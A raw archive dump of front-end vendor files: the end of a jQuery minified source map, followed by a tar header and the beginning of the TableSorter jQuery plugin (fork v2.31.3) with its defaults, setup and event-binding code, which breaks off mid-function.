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","file":"jquery.min.js"}�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/jquery/jquery.tablesorter.js�����������������������������������������������������������������0000666�����������������00000323114�15172447206�0013602 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������(function(factory){if (typeof define === 'function' && define.amd){define(['jquery'], factory);} else if (typeof module === 'object' && typeof module.exports === 'object'){module.exports = factory(require('jquery'));} else {factory(jQuery);}}(function(jQuery){ /*! TableSorter (FORK) v2.31.3 *//* * Client-side table sorting with ease! * @requires jQuery v1.2.6+ * * Copyright (c) 2007 Christian Bach * fork maintained by Rob Garrison * * Examples and original docs at: http://tablesorter.com * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html * * @type jQuery * @name tablesorter (FORK) * @cat Plugins/Tablesorter * @author Christian Bach - christian.bach@polyester.se * @contributor Rob Garrison - https://github.com/Mottie/tablesorter * @docs (fork) - https://mottie.github.io/tablesorter/docs/ */ /*jshint browser:true, jquery:true, unused:false, expr: true */ ;( function( $ ) { 'use strict'; var ts = $.tablesorter = { version : '2.31.3', parsers : [], widgets : [], defaults : { // *** appearance theme : 'default', // adds tablesorter-{theme} to the table for styling widthFixed : false, // adds colgroup to fix widths of columns showProcessing : false, // show an indeterminate timer icon in the header when the table is sorted or filtered. headerTemplate : '{content}',// header layout template (HTML ok); {content} = innerHTML, {icon} = <i/> // class from cssIcon onRenderTemplate : null, // function( index, template ) { return template; }, // template is a string onRenderHeader : null, // function( index ) {}, // nothing to return // *** functionality cancelSelection : true, // prevent text selection in the header tabIndex : true, // add tabindex to header for keyboard accessibility dateFormat : 'mmddyyyy', // other options: 'ddmmyyy' or 'yyyymmdd' sortMultiSortKey : 'shiftKey', // key used to select additional columns sortResetKey : 'ctrlKey', // key used to remove sorting on a column usNumberFormat : true, // false for German '1.234.567,89' or French '1 234 567,89' delayInit : false, // if false, the parsed table contents will not update until the first sort serverSideSorting: false, // if true, server-side sorting should be performed because client-side sorting will be disabled, but the ui and events will still be used. resort : true, // default setting to trigger a resort after an 'update', 'addRows', 'updateCell', etc has completed // *** sort options headers : {}, // set sorter, string, empty, locked order, sortInitialOrder, filter, etc. ignoreCase : true, // ignore case while sorting sortForce : null, // column(s) first sorted; always applied sortList : [], // Initial sort order; applied initially; updated when manually sorted sortAppend : null, // column(s) sorted last; always applied sortStable : false, // when sorting two rows with exactly the same content, the original sort order is maintained sortInitialOrder : 'asc', // sort direction on first click sortLocaleCompare: false, // replace equivalent character (accented characters) sortReset : false, // third click on the header will reset column to default - unsorted sortRestart : false, // restart sort to 'sortInitialOrder' when clicking on previously unsorted columns emptyTo : 'bottom', // sort empty cell to bottom, top, none, zero, emptyMax, emptyMin stringTo : 'max', // sort strings in numerical column as max, min, top, bottom, zero duplicateSpan : true, // colspan cells in the tbody will have duplicated content in the cache for each spanned column textExtraction : 'basic', // text extraction method/function - function( node, table, cellIndex ) {} textAttribute : 'data-text',// data-attribute that contains alternate cell text (used in default textExtraction function) textSorter : null, // choose overall or specific column sorter function( a, b, direction, table, columnIndex ) [alt: ts.sortText] numberSorter : null, // choose overall numeric sorter function( a, b, direction, maxColumnValue ) // *** widget options initWidgets : true, // apply widgets on tablesorter initialization widgetClass : 'widget-{name}', // table class name template to match to include a widget widgets : [], // method to add widgets, e.g. widgets: ['zebra'] widgetOptions : { zebra : [ 'even', 'odd' ] // zebra widget alternating row class names }, // *** callbacks initialized : null, // function( table ) {}, // *** extra css class names tableClass : '', cssAsc : '', cssDesc : '', cssNone : '', cssHeader : '', cssHeaderRow : '', cssProcessing : '', // processing icon applied to header during sort/filter cssChildRow : 'tablesorter-childRow', // class name indiciating that a row is to be attached to its parent cssInfoBlock : 'tablesorter-infoOnly', // don't sort tbody with this class name (only one class name allowed here!) cssNoSort : 'tablesorter-noSort', // class name added to element inside header; clicking on it won't cause a sort cssIgnoreRow : 'tablesorter-ignoreRow',// header row to ignore; cells within this row will not be added to c.$headers cssIcon : 'tablesorter-icon', // if this class does not exist, the {icon} will not be added from the headerTemplate cssIconNone : '', // class name added to the icon when there is no column sort cssIconAsc : '', // class name added to the icon when the column has an ascending sort cssIconDesc : '', // class name added to the icon when the column has a descending sort cssIconDisabled : '', // class name added to the icon when the column has a disabled sort // *** events pointerClick : 'click', pointerDown : 'mousedown', pointerUp : 'mouseup', // *** selectors selectorHeaders : '> thead th, > thead td', selectorSort : 'th, td', // jQuery selector of content within selectorHeaders that is clickable to trigger a sort selectorRemove : '.remove-me', // *** advanced debug : false, // *** Internal variables headerList: [], empties: {}, strings: {}, parsers: [], // *** parser options for validator; values must be falsy! globalize: 0, imgAttr: 0 // removed: widgetZebra: { css: ['even', 'odd'] } }, // internal css classes - these will ALWAYS be added to // the table and MUST only contain one class name - fixes #381 css : { table : 'tablesorter', cssHasChild: 'tablesorter-hasChildRow', childRow : 'tablesorter-childRow', colgroup : 'tablesorter-colgroup', header : 'tablesorter-header', headerRow : 'tablesorter-headerRow', headerIn : 'tablesorter-header-inner', icon : 'tablesorter-icon', processing : 'tablesorter-processing', sortAsc : 'tablesorter-headerAsc', sortDesc : 'tablesorter-headerDesc', sortNone : 'tablesorter-headerUnSorted' }, // labels applied to sortable headers for accessibility (aria) support language : { sortAsc : 'Ascending sort applied, ', sortDesc : 'Descending sort applied, ', sortNone : 'No sort applied, ', sortDisabled : 'sorting is disabled', nextAsc : 'activate to apply an ascending sort', nextDesc : 'activate to apply a descending sort', nextNone : 'activate to remove the sort' }, regex : { templateContent : /\{content\}/g, templateIcon : /\{icon\}/g, templateName : /\{name\}/i, spaces : /\s+/g, nonWord : /\W/g, formElements : /(input|select|button|textarea)/i, // *** sort functions *** // regex used in natural sort // chunk/tokenize numbers & letters chunk : /(^([+\-]?(?:\d*)(?:\.\d*)?(?:[eE][+\-]?\d+)?)?$|^0x[0-9a-f]+$|\d+)/gi, // replace chunks @ ends chunks : /(^\\0|\\0$)/, hex : /^0x[0-9a-f]+$/i, // *** formatFloat *** comma : /,/g, digitNonUS : /[\s|\.]/g, digitNegativeTest : /^\s*\([.\d]+\)/, digitNegativeReplace : /^\s*\(([.\d]+)\)/, // *** isDigit *** digitTest : /^[\-+(]?\d+[)]?$/, digitReplace : /[,.'"\s]/g }, // digit sort, text location string : { max : 1, min : -1, emptymin : 1, emptymax : -1, zero : 0, none : 0, 'null' : 0, top : true, bottom : false }, keyCodes : { enter : 13 }, // placeholder date parser data (globalize) dates : {}, // These methods can be applied on table.config instance instanceMethods : {}, /* ▄█████ ██████ ██████ ██ ██ █████▄ ▀█▄ ██▄▄ ██ ██ ██ ██▄▄██ ▀█▄ ██▀▀ ██ ██ ██ ██▀▀▀ █████▀ ██████ ██ ▀████▀ ██ */ setup : function( table, c ) { // if no thead or tbody, or tablesorter is already present, quit if ( !table || !table.tHead || table.tBodies.length === 0 || table.hasInitialized === true ) { if ( ts.debug(c, 'core') ) { if ( table.hasInitialized ) { console.warn( 'Stopping initialization. Tablesorter has already been initialized' ); } else { console.error( 'Stopping initialization! No table, thead or tbody', table ); } } return; } var tmp = '', $table = $( table ), meta = $.metadata; // initialization flag table.hasInitialized = false; // table is being processed flag table.isProcessing = true; // make sure to store the config object table.config = c; // save the settings where they read $.data( table, 'tablesorter', c ); if ( ts.debug(c, 'core') ) { console[ console.group ? 'group' : 'log' ]( 'Initializing tablesorter v' + ts.version ); $.data( table, 'startoveralltimer', new Date() ); } // removing this in version 3 (only supports jQuery 1.7+) c.supportsDataObject = ( function( version ) { version[ 0 ] = parseInt( version[ 0 ], 10 ); return ( version[ 0 ] > 1 ) || ( version[ 0 ] === 1 && parseInt( version[ 1 ], 10 ) >= 4 ); })( $.fn.jquery.split( '.' ) ); // ensure case insensitivity c.emptyTo = c.emptyTo.toLowerCase(); c.stringTo = c.stringTo.toLowerCase(); c.last = { sortList : [], clickedIndex : -1 }; // add table theme class only if there isn't already one there if ( !/tablesorter\-/.test( $table.attr( 'class' ) ) ) { tmp = ( c.theme !== '' ? ' tablesorter-' + c.theme : '' ); } // give the table a unique id, which will be used in namespace binding if ( !c.namespace ) { c.namespace = '.tablesorter' + Math.random().toString( 16 ).slice( 2 ); } else { // make sure namespace starts with a period & doesn't have weird characters c.namespace = '.' + c.namespace.replace( ts.regex.nonWord, '' ); } c.table = table; c.$table = $table // add namespace to table to allow bindings on extra elements to target // the parent table (e.g. parser-input-select) .addClass( ts.css.table + ' ' + c.tableClass + tmp + ' ' + c.namespace.slice(1) ) .attr( 'role', 'grid' ); c.$headers = $table.find( c.selectorHeaders ); c.$table.children().children( 'tr' ).attr( 'role', 'row' ); c.$tbodies = $table.children( 'tbody:not(.' + c.cssInfoBlock + ')' ).attr({ 'aria-live' : 'polite', 'aria-relevant' : 'all' }); if ( c.$table.children( 'caption' ).length ) { tmp = c.$table.children( 'caption' )[ 0 ]; if ( !tmp.id ) { tmp.id = c.namespace.slice( 1 ) + 'caption'; } c.$table.attr( 'aria-labelledby', tmp.id ); } c.widgetInit = {}; // keep a list of initialized widgets // change textExtraction via data-attribute c.textExtraction = c.$table.attr( 'data-text-extraction' ) || c.textExtraction || 'basic'; // build headers ts.buildHeaders( c ); // fixate columns if the users supplies the fixedWidth option // do this after theme has been applied ts.fixColumnWidth( table ); // add widgets from class name ts.addWidgetFromClass( table ); // add widget options before parsing (e.g. grouping widget has parser settings) ts.applyWidgetOptions( table ); // try to auto detect column type, and store in tables config ts.setupParsers( c ); // start total row count at zero c.totalRows = 0; // only validate options while debugging. See #1528 if (c.debug) { ts.validateOptions( c ); } // build the cache for the tbody cells // delayInit will delay building the cache until the user starts a sort if ( !c.delayInit ) { ts.buildCache( c ); } // bind all header events and methods ts.bindEvents( table, c.$headers, true ); ts.bindMethods( c ); // get sort list from jQuery data or metadata // in jQuery < 1.4, an error occurs when calling $table.data() if ( c.supportsDataObject && typeof $table.data().sortlist !== 'undefined' ) { c.sortList = $table.data().sortlist; } else if ( meta && ( $table.metadata() && $table.metadata().sortlist ) ) { c.sortList = $table.metadata().sortlist; } // apply widget init code ts.applyWidget( table, true ); // if user has supplied a sort list to constructor if ( c.sortList.length > 0 ) { // save sortList before any sortAppend is added c.last.sortList = c.sortList; ts.sortOn( c, c.sortList, {}, !c.initWidgets ); } else { ts.setHeadersCss( c ); if ( c.initWidgets ) { // apply widget format ts.applyWidget( table, false ); } } // show processesing icon if ( c.showProcessing ) { $table .unbind( 'sortBegin' + c.namespace + ' sortEnd' + c.namespace ) .bind( 'sortBegin' + c.namespace + ' sortEnd' + c.namespace, function( e ) { clearTimeout( c.timerProcessing ); ts.isProcessing( table ); if ( e.type === 'sortBegin' ) { c.timerProcessing = setTimeout( function() { ts.isProcessing( table, true ); }, 500 ); } }); } // initialized table.hasInitialized = true; table.isProcessing = false; if ( ts.debug(c, 'core') ) { console.log( 'Overall initialization time:' + ts.benchmark( $.data( table, 'startoveralltimer' ) ) ); if ( ts.debug(c, 'core') && console.groupEnd ) { console.groupEnd(); } } $table.triggerHandler( 'tablesorter-initialized', table ); if ( typeof c.initialized === 'function' ) { c.initialized( table ); } }, bindMethods : function( c ) { var $table = c.$table, namespace = c.namespace, events = ( 'sortReset update updateRows updateAll updateHeaders addRows updateCell updateComplete ' + 'sorton appendCache updateCache applyWidgetId applyWidgets refreshWidgets destroy mouseup ' + 'mouseleave ' ).split( ' ' ) .join( namespace + ' ' ); // apply easy methods that trigger bound events $table .unbind( events.replace( ts.regex.spaces, ' ' ) ) .bind( 'sortReset' + namespace, function( e, callback ) { e.stopPropagation(); // using this.config to ensure functions are getting a non-cached version of the config ts.sortReset( this.config, function( table ) { if (table.isApplyingWidgets) { // multiple triggers in a row... filterReset, then sortReset - see #1361 // wait to update widgets setTimeout( function() { ts.applyWidget( table, '', callback ); }, 100 ); } else { ts.applyWidget( table, '', callback ); } }); }) .bind( 'updateAll' + namespace, function( e, resort, callback ) { e.stopPropagation(); ts.updateAll( this.config, resort, callback ); }) .bind( 'update' + namespace + ' updateRows' + namespace, function( e, resort, callback ) { e.stopPropagation(); ts.update( this.config, resort, callback ); }) .bind( 'updateHeaders' + namespace, function( e, callback ) { e.stopPropagation(); ts.updateHeaders( this.config, callback ); }) .bind( 'updateCell' + namespace, function( e, cell, resort, callback ) { e.stopPropagation(); ts.updateCell( this.config, cell, resort, callback ); }) .bind( 'addRows' + namespace, function( e, $row, resort, callback ) { e.stopPropagation(); ts.addRows( this.config, $row, resort, callback ); }) .bind( 'updateComplete' + namespace, function() { this.isUpdating = false; }) .bind( 'sorton' + namespace, function( e, list, callback, init ) { e.stopPropagation(); ts.sortOn( this.config, list, callback, init ); }) .bind( 'appendCache' + namespace, function( e, callback, init ) { e.stopPropagation(); ts.appendCache( this.config, init ); if ( $.isFunction( callback ) ) { callback( this ); } }) // $tbodies variable is used by the tbody sorting widget .bind( 'updateCache' + namespace, function( e, callback, $tbodies ) { e.stopPropagation(); ts.updateCache( this.config, callback, $tbodies ); }) .bind( 'applyWidgetId' + namespace, function( e, id ) { e.stopPropagation(); ts.applyWidgetId( this, id ); }) .bind( 'applyWidgets' + namespace, function( e, callback ) { e.stopPropagation(); // apply widgets (false = not initializing) ts.applyWidget( this, false, callback ); }) .bind( 'refreshWidgets' + namespace, function( e, all, dontapply ) { e.stopPropagation(); ts.refreshWidgets( this, all, dontapply ); }) .bind( 'removeWidget' + namespace, function( e, name, refreshing ) { e.stopPropagation(); ts.removeWidget( this, name, refreshing ); }) .bind( 'destroy' + namespace, function( e, removeClasses, callback ) { e.stopPropagation(); ts.destroy( this, removeClasses, callback ); }) .bind( 'resetToLoadState' + namespace, function( e ) { e.stopPropagation(); // remove all widgets ts.removeWidget( this, true, false ); var tmp = $.extend( true, {}, c.originalSettings ); // restore original settings; this clears out current settings, but does not clear // values saved to storage. c = $.extend( true, {}, ts.defaults, tmp ); c.originalSettings = tmp; this.hasInitialized = false; // setup the entire table again ts.setup( this, c ); }); }, bindEvents : function( table, $headers, core ) { table = $( table )[ 0 ]; var tmp, c = table.config, namespace = c.namespace, downTarget = null; if ( core !== true ) { $headers.addClass( namespace.slice( 1 ) + '_extra_headers' ); tmp = ts.getClosest( $headers, 'table' ); if ( tmp.length && tmp[ 0 ].nodeName === 'TABLE' && tmp[ 0 ] !== table ) { $( tmp[ 0 ] ).addClass( namespace.slice( 1 ) + '_extra_table' ); } } tmp = ( c.pointerDown + ' ' + c.pointerUp + ' ' + c.pointerClick + ' sort keyup ' ) .replace( ts.regex.spaces, ' ' ) .split( ' ' ) .join( namespace + ' ' ); // apply event handling to headers and/or additional headers (stickyheaders, scroller, etc) $headers // http://stackoverflow.com/questions/5312849/jquery-find-self; .find( c.selectorSort ) .add( $headers.filter( c.selectorSort ) ) .unbind( tmp ) .bind( tmp, function( e, external ) { var $cell, cell, temp, $target = $( e.target ), // wrap event type in spaces, so the match doesn't trigger on inner words type = ' ' + e.type + ' '; // only recognize left clicks if ( ( ( e.which || e.button ) !== 1 && !type.match( ' ' + c.pointerClick + ' | sort | keyup ' ) ) || // allow pressing enter ( type === ' keyup ' && e.which !== ts.keyCodes.enter ) || // allow triggering a click event (e.which is undefined) & ignore physical clicks ( type.match( ' ' + c.pointerClick + ' ' ) && typeof e.which !== 'undefined' ) ) { return; } // ignore mouseup if mousedown wasn't on the same target if ( type.match( ' ' + c.pointerUp + ' ' ) && downTarget !== e.target && external !== true ) { return; } // set target on mousedown if ( type.match( ' ' + c.pointerDown + ' ' ) ) { downTarget = e.target; // preventDefault needed or jQuery v1.3.2 and older throws an // "Uncaught TypeError: handler.apply is not a function" error temp = $target.jquery.split( '.' ); if ( temp[ 0 ] === '1' && temp[ 1 ] < 4 ) { e.preventDefault(); } return; } downTarget = null; $cell = ts.getClosest( $( this ), '.' + ts.css.header ); // prevent sort being triggered on form elements if ( ts.regex.formElements.test( e.target.nodeName ) || // nosort class name, or elements within a nosort container $target.hasClass( c.cssNoSort ) || $target.parents( '.' + c.cssNoSort ).length > 0 || // disabled cell directly clicked $cell.hasClass( 'sorter-false' ) || // elements within a button $target.parents( 'button' ).length > 0 ) { return !c.cancelSelection; } if ( c.delayInit && ts.isEmptyObject( c.cache ) ) { ts.buildCache( c ); } // use column index from data-attribute or index of current row; fixes #1116 c.last.clickedIndex 